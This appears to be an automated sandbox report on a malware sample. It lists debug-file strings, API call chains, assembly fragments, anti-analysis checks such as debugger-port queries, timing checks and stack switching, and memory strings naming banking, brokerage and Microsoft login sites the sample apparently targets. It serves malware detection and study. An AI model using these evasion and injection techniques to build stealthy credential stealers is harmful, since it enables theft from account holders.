            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: EthPSueuMbeZ.exe, 0000000C.00000002.2503183301.0000000000C6E000.00000002.00000001.01000000.00000005.sdmp, EthPSueuMbeZ.exe, 00000010.00000000.1979513751.0000000000C6E000.00000002.00000001.01000000.00000005.sdmp
            Source: Binary string: wntdll.pdbUGP source: oLCnCWQDhK.exe, 00000000.00000003.1260700980.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, oLCnCWQDhK.exe, 00000000.00000003.1261561282.0000000004740000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1806232459.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1910830635.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1804230710.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1910830635.000000000339E000.00000040.00001000.00020000.00000000.sdmp, wextract.exe, 0000000D.00000003.1916948837.0000000004AE3000.00000004.00000020.00020000.00000000.sdmp, wextract.exe, 0000000D.00000003.1910808388.000000000493E000.00000004.00000020.00020000.00000000.sdmp, wextract.exe, 0000000D.00000002.2505832283.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, wextract.exe, 0000000D.00000002.2505832283.0000000004E2E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: oLCnCWQDhK.exe, 00000000.00000003.1260700980.00000000045A0000.00000004.00001000.00020000.00000000.sdmp, oLCnCWQDhK.exe, 00000000.00000003.1261561282.0000000004740000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1806232459.0000000003000000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1910830635.0000000003200000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1804230710.0000000002E00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1910830635.000000000339E000.00000040.00001000.00020000.00000000.sdmp, wextract.exe, wextract.exe, 0000000D.00000003.1916948837.0000000004AE3000.00000004.00000020.00020000.00000000.sdmp, wextract.exe, 0000000D.00000003.1910808388.000000000493E000.00000004.00000020.00020000.00000000.sdmp, wextract.exe, 0000000D.00000002.2505832283.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, wextract.exe, 0000000D.00000002.2505832283.0000000004E2E000.00000040.00001000.00020000.00000000.sdmp
            Source: Binary string: svchost.pdb source: wextract.exe, 0000000D.00000002.2506247486.00000000052BC000.00000004.10000000.00040000.00000000.sdmp, wextract.exe, 0000000D.00000002.2503345244.0000000002DF5000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 00000010.00000000.1980107532.000000000316C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2249916942.000000001C32C000.00000004.80000000.00040000.00000000.sdmp
            Source: Binary string: svchost.pdbUGP source: wextract.exe, 0000000D.00000002.2506247486.00000000052BC000.00000004.10000000.00040000.00000000.sdmp, wextract.exe, 0000000D.00000002.2503345244.0000000002DF5000.00000004.00000020.00020000.00000000.sdmp, EthPSueuMbeZ.exe, 00000010.00000000.1980107532.000000000316C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2249916942.000000001C32C000.00000004.80000000.00040000.00000000.sdmp
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,0_2_0040EBD0
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00416CB5 push ecx; ret 0_2_00416CC8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006931E0 push eax; ret 2_2_006931E2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006AA2B1 push ds; ret 2_2_006AA2D2
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006983A5 push 00000072h; ret 2_2_00698433
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A5413 push 10CBE7A4h; retf 2_2_006A54F3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00691EF2 push edi; retf 2_2_00691EF3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0320225F pushad ; ret 2_2_032027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032027FA pushad ; ret 2_2_032027F9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032309AD push ecx; mov dword ptr [esp], ecx2_2_032309B6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0320283D push eax; iretd 2_2_03202858
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0320135E push eax; iretd 2_2_03201369
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04CC09AD push ecx; mov dword ptr [esp], ecx13_2_04CC09B6
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CD2230 push 10CBE7A4h; retf 13_2_02CD2310
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CE0652 push edx; ret 13_2_02CE065E
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CE05A7 pushad ; retf 13_2_02CE0602
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CD70CE push ds; ret 13_2_02CD70EF
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CC51C2 push 00000072h; ret 13_2_02CC5250
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AA44BC push eax; retf 13_2_04AA44BE
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AA7486 push ebp; iretd 13_2_04AA7495
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AA50F9 push cs; ret 13_2_04AA5107
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AA52A6 push esp; retf 13_2_04AA52A7
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AB5252 push eax; ret 13_2_04AB5254
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AA9FBC push eax; ret 13_2_04AA9FC7
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AA58FA push ebx; ret 13_2_04AA5912
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_04AAA9CA push edx; iretd 13_2_04AAA9D4
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_0047A330
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_00434418
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

            Malware Analysis System Evasion

            barindex
            Switches to a custom stack to bypass stack traces
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeAPI/Special instruction interceptor: Address: 4182264
            Source: C:\Windows\SysWOW64\wextract.exeAPI/Special instruction interceptor: Address: 7FFB2CECD324
            Source: C:\Windows\SysWOW64\wextract.exeAPI/Special instruction interceptor: Address: 7FFB2CECD7E4
            Source: C:\Windows\SysWOW64\wextract.exeAPI/Special instruction interceptor: Address: 7FFB2CECD944
            Source: C:\Windows\SysWOW64\wextract.exeAPI/Special instruction interceptor: Address: 7FFB2CECD504
            Source: C:\Windows\SysWOW64\wextract.exeAPI/Special instruction interceptor: Address: 7FFB2CECD544
            Source: C:\Windows\SysWOW64\wextract.exeAPI/Special instruction interceptor: Address: 7FFB2CECD1E4
            Source: C:\Windows\SysWOW64\wextract.exeAPI/Special instruction interceptor: Address: 7FFB2CED0154
            Source: C:\Windows\SysWOW64\wextract.exeAPI/Special instruction interceptor: Address: 7FFB2CECDA44
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0327096E rdtsc 2_2_0327096E
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeEvasive API call chain: GetSystemTimeAsFileTime,DecisionNodesgraph_0-87594
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeAPI coverage: 3.5 %
            Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.6 %
            Source: C:\Windows\SysWOW64\wextract.exeAPI coverage: 2.8 %
            Source: C:\Windows\SysWOW64\wextract.exe TID: 4268Thread sleep time: -56000s >= -30000sJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeLast function: Thread delayed
            Source: C:\Windows\SysWOW64\wextract.exeLast function: Thread delayed
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00452492 FindFirstFileW,Sleep,FindNextFileW,FindClose,0_2_00452492
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00442886 FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00442886
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004788BD FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,0_2_004788BD
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_004339B6 GetFileAttributesW,FindFirstFileW,FindClose,0_2_004339B6
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0045CAFA FindFirstFileW,FindNextFileW,FindClose,0_2_0045CAFA
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_00431A86 FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,0_2_00431A86
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044BD27 _wcscat,_wcscat,__wsplitpath,FindFirstFileW,CopyFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindClose,MoveFileW,FindNextFileW,FindClose,0_2_0044BD27
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0045DE8F FindFirstFileW,FindClose,0_2_0045DE8F
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0044BF8B _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose,FindClose,0_2_0044BF8B
            Source: C:\Windows\SysWOW64\wextract.exeCode function: 13_2_02CDC030 FindFirstFileW,FindNextFileW,FindClose,13_2_02CDC030
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,0_2_0040E500
            Source: EthPSueuMbeZ.exe, 00000010.00000002.2505518207.00000000013EF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllU
            Source: 78-E67-I.13.drBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
            Source: 78-E67-I.13.drBinary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
            Source: wextract.exe, 0000000D.00000002.2507505287.0000000007D28000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.comVMware20,1169649
            Source: wextract.exe, 0000000D.00000002.2507505287.0000000007D28000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rs.comVMware20,11696492231
            Source: 78-E67-I.13.drBinary or memory string: Canara Transaction PasswordVMware20,11696492231}
            Source: 78-E67-I.13.drBinary or memory string: interactivebrokers.co.inVMware20,11696492231d
            Source: 78-E67-I.13.drBinary or memory string: netportal.hdfcbank.comVMware20,11696492231
            Source: 78-E67-I.13.drBinary or memory string: outlook.office.comVMware20,11696492231s
            Source: 78-E67-I.13.drBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
            Source: wextract.exe, 0000000D.00000002.2507505287.0000000007D28000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: oft.visualstudio.comVMware20,11696492231x
            Source: 78-E67-I.13.drBinary or memory string: AMC password management pageVMware20,11696492231
            Source: 78-E67-I.13.drBinary or memory string: interactivebrokers.comVMware20,11696492231
            Source: 78-E67-I.13.drBinary or memory string: microsoft.visualstudio.comVMware20,11696492231x
            Source: wextract.exe, 0000000D.00000002.2507505287.0000000007D28000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: East & CentralVMware20,11696492231
            Source: 78-E67-I.13.drBinary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
            Source: 78-E67-I.13.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
            Source: wextract.exe, 0000000D.00000002.2507505287.0000000007D28000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU WestVMware20,1169649'
            Source: 78-E67-I.13.drBinary or memory string: Test URL for global passwords blocklistVMware20,11696492231
            Source: 78-E67-I.13.drBinary or memory string: outlook.office365.comVMware20,11696492231t
            Source: wextract.exe, 0000000D.00000002.2507505287.0000000007D28000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: n PasswordVMware20,11696492231x
            Source: 78-E67-I.13.drBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
            Source: 78-E67-I.13.drBinary or memory string: discord.comVMware20,11696492231f
            Source: wextract.exe, 0000000D.00000002.2503345244.0000000002DF5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
            Source: wextract.exe, 0000000D.00000002.2507505287.0000000007D28000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: outlook.office365.comVMware20,1169649U
            Source: firefox.exe, 00000011.00000002.2252318408.0000025B1C1DC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
            Source: wextract.exe, 0000000D.00000002.2507505287.0000000007D28000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: tasks.office.comVMware20,11696492231y
            Source: 78-E67-I.13.drBinary or memory string: global block list test formVMware20,11696492231
            Source: 78-E67-I.13.drBinary or memory string: dev.azure.comVMware20,11696492231j
            Source: 78-E67-I.13.drBinary or memory string: www.interactivebrokers.comVMware20,11696492231}
            Source: 78-E67-I.13.drBinary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
            Source: wextract.exe, 0000000D.00000002.2507505287.0000000007D28000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: trackpan.utiitsl.comVMware20,1169649223o
            Source: 78-E67-I.13.drBinary or memory string: bankofamerica.comVMware20,11696492231x
            Source: 78-E67-I.13.drBinary or memory string: trackpan.utiitsl.comVMware20,11696492231h
            Source: 78-E67-I.13.drBinary or memory string: tasks.office.comVMware20,11696492231o
            Source: 78-E67-I.13.drBinary or memory string: account.microsoft.com/profileVMware20,11696492231u
            Source: 78-E67-I.13.drBinary or memory string: Canara Change Transaction PasswordVMware20,11696492231
            Source: 78-E67-I.13.drBinary or memory string: ms.portal.azure.comVMware20,11696492231
            Source: 78-E67-I.13.drBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
            Source: 78-E67-I.13.drBinary or memory string: turbotax.intuit.comVMware20,11696492231t
            Source: 78-E67-I.13.drBinary or memory string: secure.bankofamerica.comVMware20,11696492231|UE
            Source: 78-E67-I.13.drBinary or memory string: Canara Transaction PasswordVMware20,11696492231x
            Source: 78-E67-I.13.drBinary or memory string: Interactive Brokers - HKVMware20,11696492231]
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeAPI call chain: ExitProcess graph end nodegraph_0-86726
            Source: C:\Windows\SysWOW64\svchost.exeProcess information queried: ProcessInformationJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\wextract.exeProcess queried: DebugPortJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0327096E rdtsc 2_2_0327096E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_006A7143 LdrLoadDll,2_2_006A7143
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0045A370 BlockInput,0_2_0045A370
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0040D590 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D590
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,0_2_0040EBD0
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_041824D0 mov eax, dword ptr fs:[00000030h]0_2_041824D0
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_04182530 mov eax, dword ptr fs:[00000030h]0_2_04182530
            Source: C:\Users\user\Desktop\oLCnCWQDhK.exeCode function: 0_2_04180EB0 mov eax, dword ptr fs:[00000030h]0_2_04180EB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03308324 mov eax, dword ptr fs:[00000030h]2_2_03308324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03308324 mov ecx, dword ptr fs:[00000030h]2_2_03308324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03308324 mov eax, dword ptr fs:[00000030h]2_2_03308324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03308324 mov eax, dword ptr fs:[00000030h]2_2_03308324
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326A30B mov eax, dword ptr fs:[00000030h]2_2_0326A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326A30B mov eax, dword ptr fs:[00000030h]2_2_0326A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0326A30B mov eax, dword ptr fs:[00000030h]2_2_0326A30B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322C310 mov ecx, dword ptr fs:[00000030h]2_2_0322C310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03250310 mov ecx, dword ptr fs:[00000030h]2_2_03250310
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D437C mov eax, dword ptr fs:[00000030h]2_2_032D437C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B2349 mov eax, dword ptr fs:[00000030h]2_2_032B2349
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]2_2_032B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]2_2_032B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]2_2_032B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B035C mov ecx, dword ptr fs:[00000030h]2_2_032B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]2_2_032B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B035C mov eax, dword ptr fs:[00000030h]2_2_032B035C
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032FA352 mov eax, dword ptr fs:[00000030h]2_2_032FA352
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D8350 mov ecx, dword ptr fs:[00000030h]2_2_032D8350
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0330634F mov eax, dword ptr fs:[00000030h]2_2_0330634F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322E388 mov eax, dword ptr fs:[00000030h]2_2_0322E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322E388 mov eax, dword ptr fs:[00000030h]2_2_0322E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322E388 mov eax, dword ptr fs:[00000030h]2_2_0322E388
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325438F mov eax, dword ptr fs:[00000030h]2_2_0325438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0325438F mov eax, dword ptr fs:[00000030h]2_2_0325438F
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03228397 mov eax, dword ptr fs:[00000030h]2_2_03228397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03228397 mov eax, dword ptr fs:[00000030h]2_2_03228397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03228397 mov eax, dword ptr fs:[00000030h]2_2_03228397
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]2_2_032403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]2_2_032403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]2_2_032403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]2_2_032403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]2_2_032403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]2_2_032403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]2_2_032403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032403E9 mov eax, dword ptr fs:[00000030h]2_2_032403E9
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324E3F0 mov eax, dword ptr fs:[00000030h]2_2_0324E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324E3F0 mov eax, dword ptr fs:[00000030h]2_2_0324E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0324E3F0 mov eax, dword ptr fs:[00000030h]2_2_0324E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032663FF mov eax, dword ptr fs:[00000030h]2_2_032663FF
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032EC3CD mov eax, dword ptr fs:[00000030h]2_2_032EC3CD
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]2_2_0323A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]2_2_0323A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]2_2_0323A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]2_2_0323A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]2_2_0323A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0323A3C0 mov eax, dword ptr fs:[00000030h]2_2_0323A3C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032383C0 mov eax, dword ptr fs:[00000030h]2_2_032383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032383C0 mov eax, dword ptr fs:[00000030h]2_2_032383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032383C0 mov eax, dword ptr fs:[00000030h]2_2_032383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032383C0 mov eax, dword ptr fs:[00000030h]2_2_032383C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032B63C0 mov eax, dword ptr fs:[00000030h]2_2_032B63C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE3DB mov eax, dword ptr fs:[00000030h]2_2_032DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE3DB mov eax, dword ptr fs:[00000030h]2_2_032DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE3DB mov ecx, dword ptr fs:[00000030h]2_2_032DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032DE3DB mov eax, dword ptr fs:[00000030h]2_2_032DE3DB
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D43D4 mov eax, dword ptr fs:[00000030h]2_2_032D43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032D43D4 mov eax, dword ptr fs:[00000030h]2_2_032D43D4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322823B mov eax, dword ptr fs:[00000030h]2_2_0322823B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03234260 mov eax, dword ptr fs:[00000030h]2_2_03234260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03234260 mov eax, dword ptr fs:[00000030h]2_2_03234260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03234260 mov eax, dword ptr fs:[00000030h]2_2_03234260
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0322826B mov eax, dword ptr fs:[00000030h]2_2_0322826B
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]2_2_032E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]2_2_032E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]2_2_032E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]2_2_032E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]2_2_032E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]2_2_032E0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_032E0274 mov eax, dword ptr fs:[00000030h]2_2_032E0274
